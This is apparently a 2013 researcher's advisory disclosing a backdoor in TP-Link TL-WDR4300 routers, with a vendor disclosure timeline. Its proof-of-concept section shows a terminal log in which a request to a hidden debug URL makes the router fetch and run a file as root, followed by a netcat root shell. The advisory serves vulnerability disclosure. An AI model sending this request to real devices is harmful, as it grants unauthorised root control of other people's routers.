TP-Link http/tftp backdoor

About the TP-Link Router

TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router.

Tested Firmware

We tested the remote root PoC on the newest firmware (published on 25.12.2012):

TL-WDR4300 – tested firmware version

The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability.

Update: more info about the issues in the router is available here.

Proof of Concept

Update2: it works on WAN port if http admin is open on WAN. Also, many (if not all) other TP-Link devices are affected!

root@secu:~# ls -l /srv/tftp/nart.out
-rw-r--r-- 1 root root 871604 Mar 11 18:23 /srv/tftp/nart.out
root@secu:~# nc 192.168.0.1 2222
(UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused
root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html                                                                                                                       --2013-03-09 23:22:31--  http://192.168.0.1/userRpmNatDebugRpm26525557/start_art                                                                                                                     .html
Connecting to 192.168.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: "start_art.html"

    [ <=>                                   ] 426         --.-K/s   in 0s

2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426]

root@secu:~# nc 192.168.0.1 2222
ps
  PID  Uid     VmSize Stat Command
    1 root        404 S   init
    2 root            SW< [kthreadd]
    3 root            SW< [ksoftirqd/0]
    4 root            SW< [events/0]
    5 root            SW< [khelper]
    6 root            SW< [async/mgr]
    7 root            SW< [kblockd/0]
    8 root            SW  [pdflush]
    9 root            SW  [pdflush]
   10 root            SW< [kswapd0]
   17 root            SW< [mtdblockd]
   18 root            SW< [unlzma/0]
   71 root       2768 S   /usr/bin/httpd
   76 root        380 S   /sbin/getty ttyS0 115200
   78 root        208 S   ipcserver
   82 root       2768 S   /usr/bin/httpd
   83 root       2768 S   /usr/bin/httpd
   86 root        732 S   ushare -d -x -f /tmp/ushare.conf
   92 root        348 S   syslogd -C -l 7
   96 root        292 S   klogd
  101 root            SW< [napt_ct_scan]
  246 root        348 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  247 root        204 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  251 root        364 S   /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf
  286 root       2768 S   /usr/bin/httpd
  299 root       2768 S   /usr/bin/httpd
  300 root       2768 S   /usr/bin/httpd
  305 root       2768 S   /usr/bin/httpd
  307 root       2768 S   /usr/bin/httpd
  309 root       2768 S   /usr/bin/httpd
  310 root       2768 S   /usr/bin/httpd
  389 root       2768 S   /usr/bin/httpd

Details

After the following HTTP request is sent:

http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html

the router downloads a file (nart.out) from the host which has issed the http request and executes is as root:

PoC – diagram

Sample captures from the host which issues the http request:

Wireshark filter used to show router tftp traffic

nart.out tftp request

Models affected

TL-WDR4300
TL-WR743ND (v1.2 v2.0)
…

History of the bug

12.02.2013 – TP-Link e-mailed with details – no response
22.02.2013 – TP-Link again e-mailed with details – no response
12.03.2013 – public disclosure
14.03.2013 – UPDATE: contact from TP-Link Poland. They asked for some more detailed information. Additional PoC sent.
15.03.2013 – UDPATE: confirmation of the issue (it is WAN exploitable if http admin is available from WAN side)

More information

http://sekurak.pl/more-information-about-tp-link-backdoor/

— Michal Sajdak <michal.sajdak[at]securitum.pl>